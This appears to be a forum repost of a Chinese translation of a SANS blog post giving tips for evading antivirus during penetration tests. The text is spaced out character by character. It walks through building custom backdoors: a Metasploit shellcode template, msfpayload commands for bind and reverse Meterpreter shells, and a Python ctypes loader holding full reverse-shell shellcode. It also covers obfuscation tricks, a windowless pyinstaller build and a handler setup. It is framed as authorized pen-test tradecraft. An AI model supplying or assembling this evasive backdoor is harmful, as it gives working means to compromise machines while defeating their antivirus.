搜索

[7441] 2018-05-16_渗透免杀小技巧

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-17
2018-05-16_渗透免杀小技巧 渗 透 免 杀 小 技 巧 E l a i n e   F 1 1 T e a m   2 0 1 8 - 0 5 - 1 6 作 者 是 来 自 S A N S 研 究 所 的 M a r k   B a g g e t t 原 站 链 接 ： h t t p s : / / p e n - t e s t i n g . s a n s . o r g / b l o g / 2 0 1 1 / 1 0 / 1 3 / t i p s - f o r - e v a d i n g - a n t i - v i r u s - d u r i n g - p e n - t e s t i n g E l a i n e 译 你 可 知 道 一 句 老 话 叫 做 ： “ 给 大 佬 一 个 没 有 被 杀 软 探 测 到 的 后 门 ， 大 佬 在 电 脑 前 面 猫 了 一 天 攻 破 了 。 而 教 别 人 如 何 写 出 不 被 杀 软 监 测 到 的 免 杀 ， 你 则 会 得 到 来 自 D E F   C O N 的 终 身 免 费 饮 料 “ 在 渗 透 测 试 开 始 阶 段 ， 你 会 需 要 在 目 标 计 算 机 的 系 统 上 运 行 你 的 代 码 。   无 论 是 通 过 网 络 钓 鱼 电 子 邮 件 ， 通 过 漏 洞 利 用 提 供 有 效 载 荷 ， 还 是 通 过 社 会 工 程 ， 在 目 标 计 算 机 上 运 行 代 码 都 是 大 多 数 渗 透 测 试 无 可 避 免 的 。   这 意 味 着 你 将 需 要 绕 过 杀 软 或 其 它 基 于 主 机 的 保 护 。   绕 过 目 标 计 算 机 上 的 杀 软 的 最 有 效 方 法 是 之 一 就 是 创 建 自 定 义 后 门 程 序 。   这 里 有 一 些 关 于 创 建 后 门 的 技 巧 ： 技 巧 1 ： 做 好 侦 察 。   知 道 什 么 是 杀 毒 软 件 正 在 运 行 。   虽 然 可 以 肯 定 的 是 能 够 做 出 逃 避 所 有 的 杀 软 的 后 门 ， 但 如 果 你 的 目 标 只 是 运 行 一 个 程 序 ， 那 么 就 没 有 必 要 瞎 折 腾 浪 费 时 间 。   通 过 向 目 标 系 统 工 作 人 员 索 取 这 些 信 息 ， 如 通 过 询 问 ， 寻 找 信 息 泄 漏 （ 例 如 宣 传 产 品 的 电 子 邮 件 页 脚 ） ， 或 者 ， 在 允 许 的 情 况 下 ， 进 行 社 工 电 话 （ 比 如 瞎 唠 嗑 ） ， 以 达 到 缩 小 范 围 的 目 的 。 技 巧 2 ： 如 果 你 在 一 个 以 上 的 项 目 上 使 用 你 的 后 门 ， 不 要 把 它 提 交 给 v i r u s t o t a l . c o m 或 任 何 其 他 在 线 沙 箱 / 扫 描 仪 ， 他 们 与 杀 毒 软 件 公 司 合 作 ， 会 产 生 新 的 签 名 （ 然 后 ， 恭 喜 ， 你 的 新 后 门 就 报 废 啦 ） 。   相 反 ， 购 买 您 的 目 标 使 用 的 杀 软 的 副 本 ， 并 在 您 自 己 的 系 统 上 进 行 测 试 。   另 外 ， 如 果 你 的 目 标 使 用 V i r u s N o T h a n k s 九 种 A V 产 品 之 一 ， 你 可 以 使 用 h t t p : / / v s c a n . n o v i r u s t h a n k s . o r g / ， 一 定 要 选 择 页 面 底 部 的 “ 不 要 贡 献 样 本 ” （ 不 然 你 辛 苦 写 的 后 门 一 样 报 废 ） 。 技 巧 3 ： K I S S   -   保 持 简 单 ， s h e l l - b o y 。 谈 到 远 程 访 问 ， 我 是 极 简 主 义 者 。 我 只 需 要 能 够 入 侵 系 统 并 禁 用 杀 软 ， 然 后 再 加 入 更 加 全 面 的 工 具 。 这 个 方 法 意 味 着 更 少 代 码 ， 也 意 味 着 更 少 的 特 征 可 以 被 杀 软 捕 获 。 技 巧 4 ： 你 不 必 重 新 造 轮 子 。   M e t a s p l o i t 在 D L L ， E X E 和 W i n d o w s   S e r v i c e s 的 d a t a   /   t e m p l a t e s   /   s r c 目 录 中 有 模 板 。   从 他 们 开 始 并 根 据 需 要 修 改 它 们 以 达 到 免 杀 。   例 如 ： [ B a s h   s h e l l ]   $   c a t   d a t a / t e m p l a t e s / s r c / p e / e x e / t e m p l a t e . c # i n c l u d e   < s t d i o . h > # d e f i n e   S C S I Z E   4 0 9 6 c h a r   p a y l o a d [ S C S I Z E ]   =   " P A Y L O A D : " ; c h a r   c o m m e n t [ 5 1 2 ]   =   " " ; i n t   m a i n ( i n t   a r g c ,   c h a r   * * a r g v )   {                 ( * ( v o i d   ( * ) ( ) )   p a y l o a d ) ( ) ;                 r e t u r n ( 0 ) ; } 您 可 以 设 置 有 效 载 荷 [ S C S I Z E ] 数 组 来 满 足 您 的 需 求 ， 并 编 译 任 何 s h e l l 代 码 。   有 很 多 选 项 是 用 于 s h e l l 代 码 的 。   你 可 以 从 e x p l o i t - d b （ h t t p : / / w w w . e x p l o i t - d b . c o m / s h e l l c o d e / ） 中 获 得 一 些 s h e l l 代 码 示 例 ， 其 中 许 多 不 会 触 发 防 病 毒 软 件 。   或 者 ， 你 也 可 以 使 用 M e t a s p l o i t 中 的 m s f p a y l o a d 或 m s f v e n o m 生 成 C   s h e l l 代 码 并 将 其 插 入 到 模 板 中 。   例 如 ： [ B a s h   s h e l l ]   $   . / m s f p a y l o a d   w i n d o w s / s h e l l _ b i n d _ t c p   C 将 生 成 的 C   s h e l l 代 码 绑 定 一 个 s h e l l 到 T C P 端 口 4 4 4 4 编 译 它 ， 并 检 查 你 运 行 的 A V 产 品 能 否 检 测 到 它 。   如 果 检 测 到 已 编 译 的 程 序 ， 则 你 在 源 代 码 中 有 很 大 的 灵 活 性 可 以 施 展 。   你 可 以 试 试 ： -   将 你 的 s h e l l 代 码 的 一 部 分 移 动 到 不 同 的 数 据 段 -   编 译 到 不 同 的 P E ， 老 E X E 或 C O M （ 是 的 ， 我 说 . C O M ） 格 式 -   将 s h e l l 代 码 分 解 成 更 小 的 字 符 串 ， 并 将 源 代 码 中 打 乱 顺 序 。   然 后 在 调 用 它 之 前 按 照 正 确 的 顺 序 将 它 重 新 组 装 到 内 存 中 的 变 量 中 -   使 用 定 时 事 件 或 w a i t （ ） 函 数 延 迟 有 效 负 载 执 行 以 避 免 启 发 式 引 擎 -   创 建 你 自 己 的 简 单 编 码 引 擎 来 屏 蔽 字 节 . . . . . . 它 比 你 想 象 的 要 容 易 ！   查 看 h t t p : / / w w w . c p r o g r a m m i n g . c o m / t u t o r i a l / x o r . h t m l 我 喜 欢 用 P y t h o n 编 写 ， 然 后 使 用 p y i n s t a l l e r 从 我 的 P y t h o n 脚 本 中 创 建 一 个 e x e 文 件 。   下 面 是 我 写 的 一 个 P y t h o n 模 板 ， 它 和 M e t a s p l o i t 提 供 的 C 模 板 一 样 ： [ P y t h o n ]   f r o m   c t y p e s   i m p o r t   * s h e l l c o d e   =   ' < - a s c i i   s h e l l   c o d e   h e r e   e x :   x 9 0 x 9 0 x 9 0 - > ' m e m o r y w i t h s h e l l   =   c r e a t e _ s t r i n g _ b u f f e r ( s h e l l c o d e ,   l e n ( s h e l l c o d e ) ) s h e l l   =   c a s t ( m e m o r y w i t h s h e l l ,   C F U N C T Y P E ( c _ v o i d _ p ) ) s h e l l ( ) 如 果 你 想 使 用 M e t a s p l o i t 的 有 效 载 荷 为 你 的 s h e l l 代 码 ， 你 可 以 轻 松 地 将 C 源 代 码 通 过 使 用 手 动 t r 命 令 （ 如 下 ） 删 除 所 有 双 引 号 来 创 造 和 P y t h o n 兼 容 的 字 符 串 ： [ B a s h   s h e l l ]   $   . / m s f p a y l o a d   w i n d o w s / s h e l l _ b i n d _ t c p   C     |   t r   - d   ' " '   |   t r   - d   ' n ' 如 果 你 要 生 成 一 个 多 级 有 效 载 荷 ， 只 是 需 要 抓 住 第 一 阶 段 的 关 键 字 。   例 如 ， 要 创 建 一 个 M e t a s p l o i t 框 架 反 转 M e t e r p r e t e r ， 我 会 执 行 以 下 操 作 ： [ B a s h   s h e l l ]   $   . / m s f p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 2 7 . 0 . 0 . 1   C   |   t r   - d   ' " '   |   t r   - d   ' n '   |   m o r e 然 后 抓 取 第 一 步 生 成 的 字 符 串 并 将 其 插 入 到 我 的 模 板 中 ， 如 下 所 示 ： [ P y t h o n ]   f r o m   c t y p e s   i m p o r t   * s h e l l c o d e   =   ' x f c x e 8 x 8 9 x 0 0 x 0 0 x 0 0 x 6 0 x 8 9 x e 5 x 3 1 x d 2 x 6 4 x 8 b x 5 2 x 3 0 x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 4 x 8 b x 7 2 x 2 8 x 0 f x b 7 x 4 a x 2 6 x 3 1 x f f x 3 1 x c 0 x a c x 3 c x 6 1 x 7 c x 0 2 x 2 c x 2 0 x c 1 x c f x 0 d x 0 1 x c 7 x e 2 x f 0 x 5 2 x 5 7 x 8 b x 5 2 x 1 0 x 8 b x 4 2 x 3 c x 0 1 x d 0 x 8 b x 4 0 x 7 8 x 8 5 x c 0 x 7 4 x 4 a x 0 1 x d 0 x 5 0 x 8 b x 4 8 x 1 8 x 8 b x 5 8 x 2 0 x 0 1 x d 3 x e 3 x 3 c x 4 9 x 8 b x 3 4 x 8 b x 0 1 x d 6 x 3 1 x f f x 3 1 x c 0 x a c x c 1 x c f x 0 d x 0 1 x c 7 x 3 8 x e 0 x 7 5 x f 4 x 0 3 x 7 d x f 8 x 3 b x 7 d x 2 4 x 7 5 x e 2 x 5 8 x 8 b x 5 8 x 2 4 x 0 1 x d 3 x 6 6 x 8 b x 0 c x 4 b x 8 b x 5 8 x 1 c x 0 1 x d 3 x 8 b x 0 4 x 8 b x 0 1 x d 0 x 8 9 x 4 4 x 2 4 x 2 4 x 5 b x 5 b x 6 1 x 5 9 x 5 a x 5 1 x f f x e 0 x 5 8 x 5 f x 5 a x 8 b x 1 2 x e b x 8 6 x 5 d x 6 8 x 3 3 x 3 2 x 0 0 x 0 0 x 6 8 x 7 7 x 7 3 x 3 2 x 5 f x 5 4 x 6 8 x 4 c x 7 7 x 2 6 x 0 7 x f f x d 5 x b 8 x 9 0 x 0 1 x 0 0 x 0 0 x 2 9 x c 4 x 5 4 x 5 0 x 6 8 x 2 9 x 8 0 x 6 b x 0 0 x f f x d 5 x 5 0 x 5 0 x 5 0 x 5 0 x 4 0 x 5 0 x 4 0 x 5 0 x 6 8 x e a x 0 f x d f x e 0 x f f x d 5 x 9 7 x 6 a x 0 5 x 6 8 x 7 f x 0 0 x 0 0 x 0 1 x 6 8 x 0 2 x 0 0 x 1 1 x 5 c x 8 9 x e 6 x 6 a x 1 0 x 5 6 x 5 7 x 6 8 x 9 9 x a 5 x 7 4 x 6 1 x f f x d 5 x 8 5 x c 0 x 7 4 x 0 c x f f x 4 e x 0 8 x 7 5 x e c x 6 8 x f 0 x b 5 x a 2 x 5 6 x f f x d 5 x 6 a x 0 0 x 6 a x 0 4 x 5 6 x 5 7 x 6 8 x 0 2 x d 9 x c 8 x 5 f x f f x d 5 x 8 b x 3 6 x 6 a x 4 0 x 6 8 x 0 0 x 1 0 x 0 0 x 0 0 x 5 6 x 6 a x 0 0 x 6 8 x 5 8 x a 4 x 5 3 x e 5 x f f x d 5 x 9 3 x 5 3 x 6 a x 0 0 x 5 6 x 5 3 x 5 7 x 6 8 x 0 2 x d 9 x c 8 x 5 f x f f x d 5 x 0 1 x c 3 x 2 9 x c 6 x 8 5 x f 6 x 7 5 x e c x c 3 ' m e m o r y w i t h s h e l l   =   c r e a t e _ s t r i n g _ b u f f e r ( s h e l l c o d e ,   l e n ( s h e l l c o d e ) ) s h e l l   =   c a s t ( m e m o r y w i t h s h e l l ,   C F U N C T Y P E ( c _ v o i d _ p ) ) s h e l l ( ) 接 下 来 ， 我 将 用 p y i n s t a l l e r 编 译 我 的 新 后 门 程 序 ， 其 中 包 含 以 下 选 项 ： [ B a s h   s h e l l ]   $   p y t h o n   c o n f i g u r e . p y $   p y t h o n   m a k e s p e c . p y   - - o n e f i l e   - - n o c o n s o l e   s h e l l _ t e m p l a t e . p y $   p y t h o n   b u i l d . p y   s h e l l _ t e m p l a t e s h e l l _ t e m p l a t e . s p e c
为 了 使 用 新 的 有 效 载 荷 ， 我 们 使 用 多 处 理 器 来 设 置 M e t a s p l o i t 框 架 。   一 旦 我 们 的 程 序 在 目 标 上 运 行 ， 它 将 连 接 到 第 二 步 的 框 架 。 [ P l a i n   T e x t ]   m s f   >   u s e   m u l t i / h a n d l e r m s f     e x p l o i t ( h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f     e x p l o i t ( h a n d l e r )   >   s e t   L H O S T   1 2 7 . 0 . 0 . 1   L H O S T   = >   1 2 7 . 0 . 0 . 1 m s f     e x p l o i t ( h a n d l e r )   >   e x p l o i t 我 希 望 这 些 技 巧 有 用 ， 因 为 你 可 以 通 过 渗 透 测 试 帮 助 组 织 更 好 地 了 解 其 安 全 风 险 并 改 善 其 防 御 能 力 ！ （ E l a i n e 注 ： h t t p : / / n o d i s t r i b u t e . c o m /   更 加 好 用 而 且 更 新 的 快 ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理